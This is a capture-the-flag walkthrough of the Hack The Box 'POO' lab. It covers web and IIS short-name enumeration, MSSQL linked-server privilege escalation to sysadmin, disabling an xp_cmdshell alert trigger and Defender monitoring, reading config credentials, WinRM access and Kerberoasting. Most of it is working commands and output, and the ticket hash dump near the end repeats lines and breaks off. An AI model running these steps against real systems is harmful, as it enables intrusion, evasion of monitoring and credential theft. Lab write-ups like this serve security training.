Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ nmap -sC -sV -Pn 10.13.38.11 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 15:53 UTC
Nmap scan report for 10.13.38.11
Host is up (0.30s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.2056.00; RTM+
| ms-sql-info:
| 10.13.38.11:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM+
| number: 14.00.2056.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: true
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-08-12T09:14:38
|_Not valid after: 2055-08-12T09:14:38
| ms-sql-ntlm-info:
| 10.13.38.11:1433:
| Target_Name: POO
| NetBIOS_Domain_Name: POO
| NetBIOS_Computer_Name: COMPATIBILITY
| DNS_Domain_Name: intranet.poo
| DNS_Computer_Name: COMPATIBILITY.intranet.poo
| DNS_Tree_Name: intranet.poo
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-08-13T07:20:22+00:00; -8h33m40s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -8h33m40s, deviation: 0s, median: -8h33m40s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.21 seconds
Let's add intranet.poodomain name to our /etc/hosts
Page check
port 80

I will continue to fuzz the web contents
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ ffuf -u http://10.13.38.11/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.13.38.11/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 703, Words: 27, Lines: 32, Duration: 415ms]
admin [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 255ms]
ADMIN [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 255ms]
Admin [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 256ms]
dev [Status: 301, Size: 146, Words: 9, Lines: 2, Duration: 274ms]
Images [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 217ms]
images [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 217ms]
js [Status: 301, Size: 145, Words: 9, Lines: 2, Duration: 214ms]
meta-inf [Status: 301, Size: 151, Words: 9, Lines: 2, Duration: 413ms]
META-INF [Status: 301, Size: 151, Words: 9, Lines: 2, Duration: 413ms]
plugins [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 316ms]
templates [Status: 301, Size: 152, Words: 9, Lines: 2, Duration: 590ms]
themes [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 230ms]
Themes [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 225ms]
uploads [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 528ms]
widgets [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 237ms]
:: Progress: [4614/4614] :: Job [1/1] :: 170 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
/admin
We still don't have any credit here.
Since I couldn't find any other useful tools, I started gobuster and added a larger word list in the background. When I ran it with raft-large-words-lowercase.txt, it found an interesting file .ds_store:
gobuster dir -u http://10.13.38.11 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.13.38.11
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/02/15 12:18:44 Starting gobuster
===============================================================
/plugins (Status: 301)
/js (Status: 301)
/themes (Status: 301)
/images (Status: 301)
/templates (Status: 301)
/admin (Status: 401)
/uploads (Status: 301)
/dev (Status: 301)
/. (Status: 200)
/widgets (Status: 301)
/meta-inf (Status: 301)
/.ds_store (Status: 200)
/.trashes (Status: 301)
===============================================================
2020/06/04 12:22:29 Finished
===============================================================
I found the DS_Walk tool which can help us find some interesting things.
https://github.com/Keramas/DS_Walk
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ python3 ds_walk.py -u http://10.13.38.11
[!] .ds_store file is present on the webserver.
[+] Enumerating directories based on .ds_server file:
----------------------------
[!] http://10.13.38.11/admin
[!] http://10.13.38.11/dev
[!] http://10.13.38.11/iisstart.htm
[!] http://10.13.38.11/Images
[!] http://10.13.38.11/JS
[!] http://10.13.38.11/META-INF
[!] http://10.13.38.11/New folder
[!] http://10.13.38.11/New folder (2)
[!] http://10.13.38.11/Plugins
[!] http://10.13.38.11/Templates
[!] http://10.13.38.11/Themes
[!] http://10.13.38.11/Uploads
[!] http://10.13.38.11/web.config
[!] http://10.13.38.11/Widgets
----------------------------
[!] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1
[!] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc
----------------------------
[!] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/core
[!] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db
[!] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/include
[!] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/src
----------------------------
[!] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/core
[!] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db
[!] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/include
[!] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/src
----------------------------
[!] http://10.13.38.11/Images/buttons
[!] http://10.13.38.11/Images/icons
[!] http://10.13.38.11/Images/iisstart.png
----------------------------
[!] http://10.13.38.11/JS/custom
----------------------------
[!] http://10.13.38.11/Themes/default
----------------------------
----------------------------
[!] http://10.13.38.11/Widgets/CalendarEvents
[!] http://10.13.38.11/Widgets/Framework
[!] http://10.13.38.11/Widgets/Menu
[!] http://10.13.38.11/Widgets/Notifications
----------------------------
[!] http://10.13.38.11/Widgets/Framework/Layouts
----------------------------
[!] http://10.13.38.11/Widgets/Framework/Layouts/custom
[!] http://10.13.38.11/Widgets/Framework/Layouts/default
----------------------------
[*] Finished traversing. No remaining .ds_store files present.
[*] Cleaning up .ds_store files saved to disk
A quick guess is that they are actually the md5 hashes of the two creators md5(mrb3n) = 304c0c90fbc6520610abbf378e2339d1 and md5(eks) = dca66d38fd916317687e1390a420c3fc.
Another trick needed here is to take advantage of Windows short names, which are known as the 8.3 file naming scheme because it limits each file name to eight characters, a dot, and a three-character extension.
There is an article explain How IIS handles 8.3 file names in earlier versions of IIS and .NET
https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Different servers may require different HTTP request methods to find differences. This server cannot display vulnerabilities via GET requests, but can display them via OPTIONS requests.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ curl -s -I -X OPTIONS 'http://10.13.38.11/c*~1*/.aspx'
HTTP/1.1 200 OK
Allow: OPTIONS, TRACE, GET, HEAD, POST
Server: Microsoft-IIS/10.0
Public: OPTIONS, TRACE, GET, HEAD, POST
Date: Wed, 13 Aug 2025 08:33:39 GMT
Content-Length: 0
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ curl -s -I -X OPTIONS 'http://10.13.38.11/t*~1*/.aspx'
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/10.0
Date: Wed, 13 Aug 2025 08:33:46 GMT
Content-Length: 1245
Similarly, I can try each character and see the next character is s:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ curl -s -I -X OPTIONS 'http://10.13.38.11/ta*~1*/.aspx'
HTTP/1.1 200 OK
Allow: OPTIONS, TRACE, GET, HEAD, POST
Server: Microsoft-IIS/10.0
Public: OPTIONS, TRACE, GET, HEAD, POST
Date: Wed, 13 Aug 2025 08:34:14 GMT
Content-Length: 0
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ curl -s -I -X OPTIONS 'http://10.13.38.11/tem*~1*/.aspx'
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/10.0
Date: Wed, 13 Aug 2025 08:34:20 GMT
Content-Length: 1245
Here is a tool that can help us brute force the directory
https://github.com/lijiejie/IIS_shortname_Scanner
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ python3 iis_shortname_scan.py http://10.13.38.11/
Server is vulnerable, please wait, scanning...
[+] /t~1.* [scan in progress]
[+] /d~1.* [scan in progress]
[+] /n~1.* [scan in progress]
[+] /w~1.* [scan in progress]
[+] /tr~1.* [scan in progress]
[+] /te~1.* [scan in progress]
[+] /ds~1.* [scan in progress]
[+] /ne~1.* [scan in progress]
[+] /we~1.* [scan in progress]
[+] /tra~1.* [scan in progress]
[+] /tem~1.* [scan in progress]
[+] /ds_~1.* [scan in progress]
[+] /new~1.* [scan in progress]
[+] /web~1.* [scan in progress]
[+] /tras~1.* [scan in progress]
[+] /temp~1.* [scan in progress]
[+] /ds_s~1.* [scan in progress]
[+] /newf~1.* [scan in progress]
[+] /trash~1.* [scan in progress]
[+] /templ~1.* [scan in progress]
[+] /ds_st~1.* [scan in progress]
[+] /newfo~1.* [scan in progress]
[+] /trashe~1.* [scan in progress]
[+] /templa~1.* [scan in progress]
[+] /ds_sto~1.* [scan in progress]
[+] /newfol~1.* [scan in progress]
[+] /trashe~1 [scan in progress]
[+] Directory /trashe~1 [Done]
[+] /templa~1 [scan in progress]
[+] Directory /templa~1 [Done]
[+] /ds_sto~1 [scan in progress]
[+] Directory /ds_sto~1 [Done]
[+] /newfol~1 [scan in progress]
[+] Directory /newfol~1 [Done]
----------------------------------------------------------------
Dir: /trashe~1
Dir: /templa~1
Dir: /ds_sto~1
Dir: /newfol~1
----------------------------------------------------------------
4 Directories, 0 Files found in total
Note that * is a wildcard, matches any character zero or more times.
We can also try to run it against the /dev directory
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db
zsh: no such file or directory: http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ python3 iis_shortname_scan.py http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db
Server is vulnerable, please wait, scanning...
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/p~1.* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/po~1.* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo~1.* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_~1.* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_c~1.* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.t* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.tx* [scan in progress]
[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.txt* [scan in progress]
[+] File /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.txt* [Done]
----------------------------------------------------------------
File: /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.txt*
----------------------------------------------------------------
0 Directories, 1 Files found in total
Note that * is a wildcard, matches any character zero or more times.
I know there's a .txt file in /dev/304c0c90fbc6520610abbf378e2339d1/db/ that starts with poo_co. I can use wfuzz to look at the rest of the filename. I'll grep for words starting with co from raft-large-words-lowercase.txt, which will give me a relatively small wordlist:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ grep "^co" /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt > co_fuzz.txt
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ wc -l co_fuzz.txt
2351 co_fuzz.txt
Then let's wfuzz it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ wfuzz -c -w co_fuzz.txt -u http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/poo_FUZZ.txt --hc 404
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/poo_FUZZ.txt
Total requests: 2351
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000097: 200 6 L 7 W 142 Ch "connection"
We can get
http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/poo_connection.txt
SERVER=10.13.38.11
USERID=external_user
DBNAME=POO_PUBLIC
USERPWD=#p00Public3xt3rnalUs3r#
Flag : POO{fcfb0767f5bd3cbc22f40ff5011ad555}
Then we can try to use this credit external_user:#p00Public3xt3rnalUs3r# to connect the database
Enumerate the database
Firstly login it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ mssqlclient.py external_user:#p00Public3xt3rnalUs3r#@10.13.38.11
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 88)
[!] Press help for extra shell commands
SQL (external_user external_user@master)>
Then check MSSQL version, user, and administrator user information
SQL (external_user external_user@master)> select @@version;
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2017 (RTM-GDR) (KB5040942) - 14.0.2056.2 (X64)
Jun 20 2024 11:02:32
Copyright (C) 2017 Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
SQL (external_user external_user@master)> SELECT name FROM master..syslogins;
name
-------------
sa
external_user
SQL (external_user external_user@master)> SELECT name FROM master..syslogins WHERE sysadmin = '1';
name
----
sa
I can enumerate my permissions:
SQL (external_user external_user@master)> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name permission_name
----------- ---------------
server CONNECT SQL
That means we can enumerate the databases
SQL (external_user external_user@master)> SELECT name FROM master..sysdatabases;
name
----------
master
tempdb
POO_PUBLIC
SQL (external_user external_user@master)> SELECT DB_NAME();
------
master
After enumerating the tables, I did not find anything interesting.
This article shows a good walk-through of how to take advantage of SQL Server links.
https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
The current server is named POO_PUBLIC:
SQL> select @@servername
------------------------------
COMPATIBILITY\POO_PUBLIC
To check for linked servers, I query the sysservers table
SQL> select srvname from sysservers;
srvname
------------------------------
COMPATIBILITY\POO_CONFIG
COMPATIBILITY\POO_PUBLIC
I can get the server name from POO_CONFIG
SQL (external_user external_user@master)> EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG];
------------------------
COMPATIBILITY\POO_CONFIG
The link is configured to run commands as the internal_user:
SQL (external_user external_user@master)> EXECUTE ('select suser_name();') at [COMPATIBILITY\POO_CONFIG];
-------------
internal_user
Unfortunately for me, that user is not an administrator
SQL> EXECUTE ('SELECT name FROM master..syslogins WHERE sysadmin = ''1'';') at [COMPATIBILITY\POO_CONFIG];
name
------------------------------
sa
SQL> EXECUTE ('SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''SERVER'');') at [COMPATIBILITY\POO_CONFIG];
entity_name permission_name
------------------------------ ------------------------------
server CONNECT SQL
Next I tried to have POO_CONFIG run the command on POO_PUBLIC
SQL (external_user external_user@master)> EXEC ('EXEC (''select suser_name();'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
--
sa
When I request POO_PUBLIC to POO_CONFIG I get all permissions
SQL> EXECUTE ('EXECUTE (''SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''''SERVER'''');'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
entity_name permission_name
------------------------------ ------------------------------
server CONNECT SQL
server SHUTDOWN
server CREATE ENDPOINT
server CREATE ANY DATABASE
server CREATE AVAILABILITY GROUP
server ALTER ANY LOGIN
server ALTER ANY CREDENTIAL
server ALTER ANY ENDPOINT
server ALTER ANY LINKED SERVER
server ALTER ANY CONNECTION
server ALTER ANY DATABASE
server ALTER RESOURCES
server ALTER SETTINGS
server ALTER TRACE
server ALTER ANY AVAILABILITY GROUP
server ADMINISTER BULK OPERATIONS
server AUTHENTICATE SERVER
server EXTERNAL ACCESS ASSEMBLY
server VIEW ANY DATABASE
server VIEW ANY DEFINITION
server VIEW SERVER STATE
server CREATE DDL EVENT NOTIFICATION
server CREATE TRACE EVENT NOTIFICATION
server ALTER ANY EVENT NOTIFICATION
server ALTER SERVER STATE
server UNSAFE ASSEMBLY
server ALTER ANY SERVER AUDIT
server CREATE SERVER ROLE
server ALTER ANY SERVER ROLE
server ALTER ANY EVENT SESSION
server CONNECT ANY DATABASE
server IMPERSONATE ANY LOGIN
server SELECT ALL USER SECURABLES
server CONTROL SERVER
To make the exploit easier, I will create a new sa user with a password I know so that I don't have to roll everything back.
SQL (external_user external_user@master)> EXECUTE('EXECUTE(''CREATE LOGIN df WITH PASSWORD = ''''qwe123QWE!@#'''';'') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]
SQL (external_user external_user@master)> EXECUTE('EXECUTE(''EXEC sp_addsrvrolemember ''''df'''', ''''sysadmin'''''') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]
Then we can use the new created credit to connect
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ mssqlclient.py 'df:qwe123QWE!@#@10.13.38.11'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 88)
[!] Press help for extra shell commands
SQL (df dbo@master)>
As sa, I can now access another database, flag
SQL (df dbo@master)> SELECT name FROM master..sysdatabases;
name
----------
master
tempdb
model
msdb
POO_PUBLIC
flag
SQL (df dbo@master)> select table_name,table_schema from flag.INFORMATION_SCHEMA.TABLES;
table_name table_schema
---------- ------------
flag dbo
SQL (df dbo@master)> select * from flag.dbo.flag;
flag
----------------------------------------
b'POO{88d829eb39f2d11697e689d779810d42}'
Then we can get another flag POO{88d829eb39f2d11697e689d779810d42}
Command execution by xp_cmdshell
Now that I'm an SA on the database, I want to get a shell on the host.
I need to enable it. I tried the enable xp_cmdshell macro, but it fails with the following error:
SQL (df dbo@master)> enable_xp_cmdshell
INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
I can also try the manual method but I get the same error:
SQL> sp_configure 'show advanced options', '1'
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> sp_configure 'xp_cmdshell', '1'
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
As sa, I can disable these triggers. The triggers are stored in sys.server_triggers:
SQL> select name from sys.server_triggers;
name
------------------------------
ALERT_xp_cmdshell
Let's disable it
SQL> disable trigger ALERT_xp_cmdshell on all server
SQL> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
output
------------------------------
nt service\mssql$poo_public
NULL
mssql$poo_public has almost no access to anything. It has a home directory, but it is empty
But the most noteworthy file \inetput\wwwroot\web.config shows access denied
SQL> xp_cmdshell type C:\inetpub\wwwroot\web.config
output
------------------------------
Access is denied.
NULL
When the web server is enabled to run the stored procedure sp_execute_external_script, it is configured to execute the operation as another user.
SQL> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
compatibility\poo_public01
Express Edition will continue to be enforced.
Now I can read the web.config file:
SQL> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("type \inetpub\wwwroot\web.config");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<staticContent>
<mimeMap
fileExtension=".DS_Store"
mimeType="application/octet-stream"
/>
</staticContent>
<!--
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user
name="Administrator"
password="EverybodyWantsToWorkAtP.O.O."
/>
</credentials>
</forms>
</authentication>
-->
</system.webServer>
</configuration>
Express Edition will continue to be enforced.
We can get another credit Administrator:EverybodyWantsToWorkAtP.O.O.
These credentials are used to pass basic authentication on /admin and return the next flag
┌──(wither㉿localhost)-[~/Templates/htb-labs/Prolabs/XEN]
└─$ curl -s http://administrator:EverybodyWantsToWorkAtP.O.O.@10.13.38.11/admin/
"I can't go back to yesterday, because i was a different person then..."<br>
- Alice in Wonderland<br>
<br>
Flag : POO{4882bd2ccfd4b5318978540d9843729f}
Footpath
First, the host is listening on TCP port 5985 for WinRM, listening on both IPv4 and IPv6 protocols:
SQL> EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("netstat -ano");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 920
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 4372
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
...[snip]...
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 920
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:1433 [::]:0 LISTENING 4372
TCP [::]:5985 [::]:0 LISTENING 4
...[snip]...
The initial nmap scan didn't show 5985 listening; it was an IPv4 scan. But I hadn't checked IPv6 yet.
To check this further, I needed the host's IPv6 address, which I could get from ipconfig
SQL> EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("ipconfig");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:babe::1001
Link-local IPv6 Address . . . . . : fe80::ad9a:ad0:ce4:4cc2%7
IPv4 Address. . . . . . . . . . . : 10.13.38.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : dead:babe::1
10.13.38.2
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 172.20.128.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Express Edition will continue to be enforced.
I can connect to it via WinRM using Evil-WinRM. To establish an IPv6 connection, I need to add the IP address to the local /etc/hosts file. The hostname returned by the box is COMPATIBILITY:
SQL> EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("hostname");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
COMPATIBILITY
We also need to add to our /etc/hosts
dead:babe::1001 compatibility
Finally we can winrm connect it
evil-winrm -i compatibility -u administrator -p 'EverybodyWantsToWorkAtP.O.O.'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
compatibility\administrator
Then you can get another flag from the desktop
POO{ff87c4fe10e2ef096f9a96a01c646f8f}
p00ned
We can upload Sharphound to help us collect information, and then from bloodhound we can see
I’ll grab a copy of Invoke-Kerberoast.ps1 and upload it through the WinRM shell.
*Evil-WinRM* PS C:\programdata> Set-MpPreference -DisableRealtimeMonitoring $true
SQL> xp_cmdshell powershell -c import-module c:\programdata\invoke-kerberoast.ps1; invoke-kerberoast -outputformat hashcat
output
--------------------------------------------------------------------------------
NULL
NULL
TicketByteHexStream :
Hash : $krb5tgs$23$*p00_hr$intranet.poo$HR_peoplesoft/intranet.poo:1433*$F2463BF66154BFDBEF0E6821A2CCE5
6C$5CA58FDBF4D6DF3935D15ABDF677D8BCFA2946E7EE2BC21B623E81C9925572C281C332A7E1E8ACCB8DC014B50D4BD
3A24AAA2D5F51CCDE2DADC993CFB115243E3E74BAEE492E6B154CB04CA942D255EDD2AC2D137651F3D4B638353FC29BE
89CB00BB5C85F23651ADE26142E39FF827B0BB1163D5C03041D64074143F104F06248CFFE428F58E1227A02DA6EA7DF7
CDE679FD0846627F3F4D4BCBAF60EEE6E18F578001F4F5B62CFF0B4C6A6DF12C34395F66C9714EFF139BA1D78F679B24
A57E0C01DB0A01641AA8E5DC9CEB37817C2664DE3F677B3B41B6DB1B4A1C3A45237478D7D37780333F29A497C0DCAC76
A1E0D4ED998DF2DE442886084F4D5A49F4CAAA524E289271343B14E5D5F8928122F6D57A7428737FA4DF63C6A64CB56C
F1183A276DBEC2BEF30B15D214722B5E0614461D5A090DEDEA68DDF86278D781FD4023F704B319EBE2B7FDBC84EA39F8
885B692A85701B4C5DF2721F7F70DF7862E3689AE0DC3B0067E17F43BC15C9C0E202E2B6F1C9F44B09F1A128F318220D
091D299F081778C1B90EF9DB2C8A61793BF9ED70C22E63621EF2E8389309C5DF807B59F39F5FD23AA36ECBF425F80F0F
C0C33011721EBF0CFA1AD57B726F6326324B8F1FCF4C6E314A84A14DF780B06EC71EAECC12E500A7F8E6C06E0E56C9D3
03A3EB7A195C77B4055C0F1280620C4053885A93A4C789D619D1294B7206CFA3F242476143717CDF5E8B8B5FBDC6E9CF
F1D9DAFC90605438ADEC3520A91A529A5117218877FCB89DC2A87F76999F3A4F7F4A63D64061380E817432BA8BA3B0C7
1C3C84EB8EF02930EDCA11B008716E3A0FE6F62634CA126B6BD06AF2E015DEDCD394440B0F8744EE8BA8FC3C55F3D2D4
3280E62511F9FEC2EBC009B90CDBBC257363613B837825CFF32A4F97B657ADE4686658B31AE48691F767B07534353F2F
FB47F975ED6FBF38041CEECA395EDE803EF9C32F391D8DA4139F6271921F770FC3997BD4EEB9B8C8C14E10D14232C2C4
0C6D3540A92912733A464DB22CFF699E7881A4ABDA30916C546D1B54B015E1347F92DDE8301E5ADD9F07535C4312DF73
03A3EB7A195C77B4055C0F1280620C4053885A93A4C789D619D1294B7206CFA3F242476143717CDF5E8B8B5FBDC6E9CF
F1D9DAFC90605438ADEC3520A91A529A5117218877FCB89DC2A87F76999F3A4F7F4A63D64061380E817432BA8BA3B0C7
1C3C84EB8EF02930EDCA11B008716E3A0FE6F62634CA126B6BD06AF2E015DEDCD394440B0F8744EE8BA8FC3C55F3D2D4
3280E62511F9FEC2EBC009B90CDBBC257363613B837825CFF32A4F97B657ADE4686658B31AE48691F767B07534353F2F
FB47F975ED6FBF38041CEECA395EDE803EF9C32F391D8DA4139F6271921F770FC3997BD4EEB9B8C8C14E10D14232C2C4
